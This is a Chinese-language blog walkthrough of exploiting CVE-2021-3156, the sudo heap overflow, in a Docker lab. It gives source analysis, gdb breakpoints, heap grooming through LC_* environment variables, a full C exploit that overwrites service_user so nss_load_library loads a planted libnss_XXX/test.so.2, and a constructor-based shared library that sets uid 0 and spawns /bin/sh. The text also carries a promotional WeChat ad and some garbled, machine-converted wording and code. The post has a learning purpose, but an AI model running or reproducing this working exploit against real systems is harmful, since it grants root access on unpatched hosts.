环境搭建
直接拉取合适的docker
docker 环境:
https://hub.docker.com/r/chenaotian/cve-2021-3156
下载glibc-2.27源码和sudo-1.8.21源码
漏洞分析
- /* set user_args */
- if (NewArgc > 1) {
- char *to, *from, **av;
- size_t size, n;
-
- /* Alloc and build up user_args. */
- for (size = 0, av = NewArgv + 1; *av; av++)
- size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符
- if (size == 0 || (user_args = malloc(size)) == NULL) { //分配堆块,存放command
- sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
- debug_return_int(-1);
- }
- if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { // 设置-s参数进入分支
- /*
- * When running a command via a shell, the sudo front-end
- * escapes potential meta chars. We unescape non-spaces
- * for sudoers matching and logging purposes.
- */
- for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
- while (*from) {
- if (from[0] == '\\' && !isspace((unsigned char)from[1]))
- from++; // 跳过反斜杠
- *to++ = *from++; // 复制反斜杠后面的字符
- } // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。
- *to++ = ' '; //每个command后面跟一个空格
- }
- *--to = '\0';
- } else {
- for (to = user_args, av = NewArgv + 1; *av; av++) {
- n = strlcpy(to, *av, size - (to - user_args));
- if (n >= size - (to - user_args)) {
- sudo_warnx(U_("internal error, %s overflow"), __func__);
- debug_return_int(-1);
- }
- to += n;
- *to++ = ' ';
- }
- *--to = '\0';
- }
- }
- }
复制代码


结合调试,可以对漏洞的环境有更清晰的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:
①以反斜杠结尾可导致溢出
②以反斜杠作为参数可以写入零字节
同时,被溢出的那个堆块的大小等于对应参数长度+1。
漏洞调试
glibc源码- gdb exp
- catch exec
- b policy_check
- b sudoers.c:846
-
- b setlocale
- b sudo.c:148
- b setlocale.c:369 // strdup
- b setlocale.c:398
-
- b nss_load_library
复制代码 漏洞利用
1 利用目标

可以发现service_user结构体在堆上

堆块大小为0x40
nss_load_library的函数调用流程和相关的数据结构机制- /* Load library. */
- static int
-
- ' (service_user *ni)
- {
- if (ni->library == NULL) // ni->library等于0进入分支
- {
- /* This service has not yet been used. Fetch the service
- library for it, creating a new one if need be. If there
- is no service table from the file, this static variable
- holds the head of the service_library list made from the
- default configuration. */
- static name_database default_table;
- ni->library = nss_new_service (service_table ?: &default_table,
- ni->name); // 新建一个ni->library,并将成员初始化
- if (ni->library == NULL)
- return -1;
- }
-
- if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
- {
- /* Load the shared library. */
- size_t shlen = (7 + strlen (ni->name) + 3
- + strlen (__nss_shlib_revision) + 1);
- int saved_errno = errno;
- char shlib_name[shlen];
-
- /* Construct shared object name. */
- __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
- "libnss_"),
- ni->name),
- ".so"),
- __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision
-
- ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
- if (ni->library->lib_handle == NULL)
- {
- /* Failed to load the library. */
- ni->library->lib_handle = (void *) -1l;
- __set_errno (saved_errno);
- }
复制代码 通过对nss_load_library源码的分析,发现这里假如能将ni结构体的library覆盖为0,name覆盖本钱身的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载实行恶意文件。
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
2 堆块布局
接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。
这就来到了第二个题目,setlocale 如何通过环境变量LC_* 进行堆布局。- // locale\setlocale.c
- /* Load the new data for each category. */
- while (category-- > 0)
- if (category != LC_ALL)
- {
- newdata[category] = _nl_find_locale (locale_path, locale_path_len,
- category,
- &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
-
- if (newdata[category] == NULL)
- {
- #ifdef NL_CURRENT_INDIRECT
- if (newnames[category] == _nl_C_name)
- /* Null because it's the weak value of _nl_C_LC_FOO. */
- continue;
- #endif
- break;
- }
复制代码 起首是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中- // locale\findlocale.c
- struct __locale_data *
- _nl_find_locale (const char *locale_path, size_t locale_path_len,
- int category, const char **name)
- {
- ......
- /* LOCALE can consist of up to four recognized parts for the XPG syntax:
-
- language[_territory[.codeset]][@modifier]
-
- Beside the first all of them are allowed to be missing. If the
- full specified locale is not found, the less specific one are
- looked for. The various part will be stripped off according to
- the following order:
- (1) codeset
- (2) normalized codeset
- (3) territory
- (4) modifier
- */
- //locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
- // C.UTF-8@AAAAAAAAA
- mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
- &codeset, &normalized_codeset);
- // 判断四个部分那部分有缺失
- if (mask == -1)
- /* Memory allocate problem. */
- return NULL;
-
- /* If exactly this locale was already asked for we have an entry with
- the complete name. */
- locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
- locale_path, locale_path_len, mask,
- language, territory, codeset,
- normalized_codeset, modifier,
- _nl_category_names.str
- + _nl_category_name_idxs[category], 0);
-
- if (locale_file == NULL)
- {
- /* Find status record for addressed locale file. We have to search
- through all directories in the locale path. */
- locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
- locale_path, locale_path_len, mask,
- language, territory, codeset,
- normalized_codeset, modifier,
- _nl_category_names.str
- + _nl_category_name_idxs[category], 1);
- if (locale_file == NULL)
- /* This means we are out of core. */
- return NULL;
- }
复制代码 结合源码和相关资料,可以知道locale的定名规则为_.,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA
堆申请原语和堆开释原语- // locale\setlocale.c
- /* Load the new data for each category. */
- while (category-- > 0)
- if (category != LC_ALL)
- {
- newdata[category] = _nl_find_locale (locale_path, locale_path_len,
- category,
- &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
-
- if (newdata[category] == NULL)
- {
- #ifdef NL_CURRENT_INDIRECT
- if (newnames[category] == _nl_C_name)
- /* Null because it's the weak value of _nl_C_LC_FOO. */
- continue;
- #endif
- break;
- } /* We must not simply free a global locale since we have no control over the usage. So we mark it as un-deletable. And yes, the 'if' is needed, the data might be in read-only memory. */ if (newdata[category]->usage_count != UNDELETABLE) newdata[category]->usage_count = UNDELETABLE; /* Make a copy of locale name. */ if (newnames[category] != _nl_C_name) { if (strcmp (newnames[category], _nl_global_locale.__names[category]) == 0) newnames[category] = _nl_global_locale.__names[category]; else { newnames[category] = __strdup (newnames[category]); //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 if (newnames[category] == NULL) break; } } } /* Create new composite name. */ composite = (category >= 0 ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL) { /* Now we have loaded all the new data. Put it in place. */ for (category = 0; category < __LC_LAST; ++category) if (category != LC_ALL) { setdata (category, newdata[category]); setname (category, newnames[category]); } setname (LC_ALL, composite); /* We successfully loaded a new locale. Let the message catalog functions know about this. */ ++_nl_msg_cat_cntr; } else for (++category; category < __LC_LAST; ++category) if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category]) free ((char *) newnames[category]); //这里就是堆块开释的原语了,只要有一个区域设置的值不符合规范,则将之前全部申请的堆块都开释掉
复制代码 先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中- char * __strdup(const char *s)
- {
- size_t len = strlen(s) +1;
- void *new = malloc(len);
- if (new == NULL)
- return NULL;
- return (char *)memecpy(new,s,len);
- }
复制代码 然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。
locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:- 1、语言符号及其分类(LC_CTYPE)
-
- 2、数字(LC_NUMERIC)
-
- 3、比较和习惯(LC_COLLATE)
-
- 4、时间显示格式(LC_TIME)
-
- 5、货币单位(LC_MONETARY)
-
- 6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)
-
- 7、姓名书写方式(LC_NAME)
-
- 8、地址书写方式(LC_ADDRESS)
-
- 9、电话号码书写方式(LC_TELEPHONE)
-
- 10、度量衡表达方式 (LC_MEASUREMENT)
-
- 11、默认纸张尺寸大小(LC_PAPER)
-
- 12、对locale自身包含信息的概述(LC_IDENTIFICATION)。
复制代码 对应- "LC_CTYPE"
- "LC_NUMERIC"
- "LC_TIME"
- "LC_COLLATE"
- "LC_MONETARY",
- "LC_MESSAGES"
- "LC_ALL"
- "LC_PAPER"
- "LC_NAME"
- "LC_ADDRESS"
- "LC_TELEPHONE"
- "LC_MEASUREMENT"
- "LC_IDENTIFICATION"
复制代码 其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部开释掉了。
接下里就是想要如何将一个service_user申请到前面我的堆块前面
可以在申请service_user前,先利用堆申请原语和堆开释原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以本身控制,只要保证大小对应,就可以了。
通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。- length = 0x38
- while(length < 0x100):
- tail = 'C.UTF-8@'
- # length = 0x48
- q = "a"*(length-2)+"\"
- p = tail+'a'*(length-1-len(tail))
- print(hex(length))
- print(q)
- print(p)
- length += 0x10
复制代码 经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法制止的堆块操纵后得到一个可利用的堆排布。末了设置一个非法的值。- "LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_NAME=xxxxxxxx"
复制代码 其中0xa0是为堆溢出的堆块留的坑- /* set user_args */
- if (NewArgc > 1) {
- char *to, *from, **av;
- size_t size, n;
-
- /* Alloc and build up user_args. */
- for (size = 0, av = NewArgv + 1; *av; av++)
- size += strlen(*av) + 1;
- if (size == 0 || (user_args = malloc(size)) == NULL) {
- sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
- debug_return_int(-1);
- }
复制代码 在malloc前下断点·查看bins,可以看到tcachebins中0xa0恰好有一个堆块
然后在nss_load_library下断点,查看service_user
可以看到前面0xa0的堆块在service_user的前面,如许就可以通过溢出覆盖name字段
所以填坑的参数按照前面的分析应该是- "a"*(0x98-1)+"\"
- "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"
复制代码 综合得到如下开端exp- #include#include#include#include#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};int main(){ char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",NULL};// malloc(size) size = arg1_len + 1 char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_NAME=xxxxxxxx",NULL}; execve("/usr/local/bin/sudoedit",argv,env);}
复制代码 3 溢出利用
当前exp把XXX/test写到了0x555555623b07
此时的service_user在0x5555556241b0,name的偏移是0x30- start = 0x555555623b07
- end = 0x5555556241b0+0x30
- n = end-start
- print(n)
- for i in range(n):
- print('"\\\"',end=',')
复制代码 前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。
共1753个反斜杠
exp- #include#include#include#include#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};int main(){ char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",NULL};// malloc(size) size = arg1_len + 1 char *env[] = {"\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
- "LC_NAME=xxxxxxxx",NULL}; execve("/usr/local/bin/sudoedit",argv,env);}
复制代码
覆盖效果如上
拼接完成后会实行- /* Construct shared object name. */
- __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
- "libnss_"),
- ni->name),
- ".so"),
- __nss_shlib_revision);
-
- ni->library->lib_handle = __libc_dlopen (shlib_name);
- if (ni->library->lib_handle == NULL)
- {
- /* Failed to load the library. */
- ni->library->lib_handle = (void *) -1l;
- __set_errno (saved_errno);
- }
复制代码 通过__libc_dlopen打开文件
4 提权收工
末了编译后门test.so.2,并放入libnss_XXX文件夹
这里借用CVE-2021-3156:sudo堆溢出提权漏洞分析-腾讯云开辟者社区-腾讯云 (tencent.com)中的代码- #define _GNU_SOURCE
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-
- #define EXECVE_SHELL_PATH "/bin/sh"
-
- static void __attribute__ ((constructor)) pop_shell(void);
- char *n[] = {NULL};
-
- void pop_shell(void) {
- printf("[+] executed!\n");
- setresuid(0, 0, 0);
- setresgid(0, 0, 0);
- if(getuid() == 0) {
- puts("[+] we are root!");
- } else {
- puts("[-] something went wrong!");
- exit(0);
- }
-
- execve(EXECVE_SHELL_PATH, n, n);
- }
复制代码- gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
- chmod 777 libnss_XXX/test.so.2
复制代码 提权效果
总结
这个老洞新探,照旧挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那边,由于中间会有很多其他的堆块操纵是我们不可控,就会存在较大困难,要么通过逆向分析梳理全部的堆块操纵然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多题目,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但照旧遇到了几种环境,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个service_user结构体,但并没有用。
总的来说,这个洞另有很多可以学习的地方,后面学学fuzz后再来试试这个洞。
更多网安技能的在线实操练习,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |